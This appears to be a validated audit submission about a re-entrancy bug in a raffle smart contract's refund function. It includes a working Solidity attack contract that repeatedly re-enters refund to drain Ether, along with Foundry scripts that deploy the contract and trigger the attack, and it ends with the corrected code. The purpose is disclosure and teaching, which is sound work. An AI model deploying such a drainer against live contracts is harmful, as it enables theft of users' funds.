Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Re-Entrancy Vulnerability in `PuppyRaffle::refund` Could Lead to Permanent Fund Loss

Summary

The PuppyRaffle::refund function sends Ether to msg.sender before changing the state. This design can lead to a re-entrancy exposure.

Vulnerability Details

The refund function in PuppyRaffle interacts with arbitrary contracts without adhering to the check-effect-interaction pattern. This exposes the contract to a re-entrancy attack.

In this scenario, msg.sender can be a malicious contract with a function that repeatedly re-enters the refund function, causing the PuppyRaffle contract to send more Ether than the entranceFee.

function refund(uint256 playerIndex) public {
// ...
// This line sends Ether before state change, making it susceptible to re-entrancy
payable(msg.sender).sendValue(entranceFee);
players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
}

Proof of Concept

The provided scripts and test suite demonstrate the validity and severity of the vulnerability. These scripts exploit the re-entrancy issue in the refund function.

How to Run the Scripts

Requirements

  • Install Foundry.

  • Clone the project codebase to your local workspace.

  • Copy the codes in the codebase below into their respective file and folder. Note the file names and path provided at the end of each code.

  • Create a .env file in your root folder and add the required variables.

  • The .env file should follow this format:

RPC_URL=
PRIVATE_KEY=
ETHERSCAN_API_KEY=

Step-by-step Guide to Run the PoC

  1. Ensure the above requirements are installed.

  2. Run source .env to load .env variables into the terminal.

  3. Change DeployPuppyRaffle.sol::duration from "1 day" to "5 minutes"

  4. Change DeployPuppyRaffle.sol::entranceFee from "1e18" to "100 wei" and set it as PuppyRaffle constructor first parameter.

  5. Run the necessary command to deploy the following contracts.

  6. To deploy PuppyRaffle contract:

forge script script/DeployPuppyRaffle.sol:DeployPuppyRaffle --rpc-url $RPC_URL --private-key $PRIVATE_KEY --broadcast -vv
  1. To deploy AttackContract:

forge script script/DeployAttackContract.s.sol:DeployAttackContract --rpc-url $RPC_URL --private-key $PRIVATE_KEY --broadcast -vv
  1. Wait for five minutes, then run the command below to execute the exploit script:

forge script script/TriggerAttack.s.sol:TriggerAttack --rpc-url $RPC_URL --broadcast -vvvvv

The preceding steps involved deploying the PuppyRaffle contract and subsequently deploying an AttackContract designed for exploiting the refund function in PuppyRaffle. Finally, a script is executed to initiate the attack.

Proof of Exploit:
Please note the disparity in the logged data:

Initial Puppy Raffle balance before the exploit: 400
Puppy Raffle balance after the exploit: 0
Expected balance under normal conditions: 300

Codebase

The code below consists of Foundry scripts that deploy the contract to a chosen network and interact with it through our exploit script.

AttackContract

// SPDX-License-Identifier: UNLICENSED
pragma solidity "0.8.19";
interface IPuppyRaffle {
function enterRaffle(address[] memory) external payable;
function refund(uint256) external;
function getActivePlayerIndex(address) external view returns (uint256);
function entranceFee() external view returns (uint256);
}
contract AttackContract {
IPuppyRaffle puppyRaffle;
uint256 public entranceFee;
uint256 public playerIndex;
constructor(address _addr) {
puppyRaffle = IPuppyRaffle(_addr);
}
function enterRaffle() external payable {
/// @notice this is how players enter the raffle
address[] memory newPlayers = new address[](4);
newPlayers[0] = msg.sender;
newPlayers[1] = address(this);
newPlayers[2] = 0xcAcf4d840CB5D9a80e79b02e51186a966de757d9;
newPlayers[3] = 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266;
puppyRaffle.enterRaffle{value: entranceFee * 4}(newPlayers);
}
function attack() external payable {
/// @notice a way to get the index in the array
playerIndex = puppyRaffle.getActivePlayerIndex(address(this));
/// @notice start refunding attacks
puppyRaffle.refund(playerIndex);
}
function getFee() external returns (uint256) {
entranceFee = puppyRaffle.entranceFee();
return entranceFee;
}
fallback() external payable {
if (address(puppyRaffle).balance > 0) {
puppyRaffle.refund(playerIndex);
}
}
}
// File name: AttackContract.sol
// File path: src/AttackContract.sol

AttackContract deployment Script

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.19;
import {Script, console} from "forge-std/Script.sol";
import {AttackContract} from "../src/AttackContract.sol";
contract DeployAttackContract is Script {
function run() external returns (AttackContract) {
uint256 deployerPrivateKey = vm.envUint("PRIVATE_KEY");
address puppyAddr = 0xcf39816B5d1953E859d21dFa205bce2c1ab79f4B;
vm.startBroadcast(deployerPrivateKey);
AttackContract attack = new AttackContract(puppyAddr);
vm.stopBroadcast();
return (attack);
}
}
// File name: DeployAttackContract.s.sol
// File path: script/DeployAttackContract.s.sol

Trigger Script

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.19;
import {Script, console} from "forge-std/Script.sol";
interface IAttackContract {
function attack() external payable;
function getFee() external returns (uint256);
function enterRaffle() external payable;
}
contract TriggerAttack is Script {
IAttackContract public attack;
uint256 puppyInitialBalance;
uint256 puppyBalanceAfterAttack;
uint256 expectNormalBalance;
uint256 entranceFee;
address attackAddr = 0xf31f177966061fF704B5B2418410eA45943F113a;
address puppyRaffle = 0xcf39816B5d1953E859d21dFa205bce2c1ab79f4B;
function run() external {
uint256 privateKey = vm.envUint("PRIVATE_KEY");
vm.startBroadcast(privateKey);
attack = IAttackContract(attackAddr);
entranceFee = attack.getFee();
attack.enterRaffle{value: 1_000_000_000 wei}();
puppyInitialBalance = address(puppyRaffle).balance;
attack.attack();
puppyBalanceAfterAttack = address(puppyRaffle).balance;
vm.stopBroadcast();
console.log("entrance fee: ", entranceFee);
console.log("puppy balance before attack: ", puppyInitialBalance);
console.log("puppy balance after attack: ", puppyBalanceAfterAttack);
console.log(
"expect normal balance: ",
puppyInitialBalance - entranceFee
);
}
}
// File name: TriggerAttack.s.sol
// File path: script/TriggerAttack.s.sol

Impact

Exploit Scenario:

  1. John enters the raffle.

  2. John decides to get a refund and exit the game.

  3. John initiates the refund function and gets credited.

  4. Before the contract updates John's status on the network, John repeatedly gets more refunds, potentially wiping out the contract balance.

Tools Used

  • Foundry

Recommendations

Follow the check-interaction-effect pattern when implementing the refund function to avoid re-entrancy vulnerabilities. Here's an example of how to modify the function:

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(
playerAddress == msg.sender,
"PuppyRaffle: Only the player can refund"
);
require(
playerAddress != address(0),
"PuppyRaffle: Player already refunded, or is not active"
);
+ players[playerIndex] = address(0);
+ // Move the sendValue operation after the state change
+ payable(msg.sender).sendValue(entranceFee);
emit RaffleRefunded(playerAddress);
}

By changing the order of operations, you ensure that the state is updated before sending Ether, reducing the risk of re-entrancy attacks.

Updates

Lead Judging Commences

Hamiltonite Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

reentrancy-in-refund

reentrancy in refund() function

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!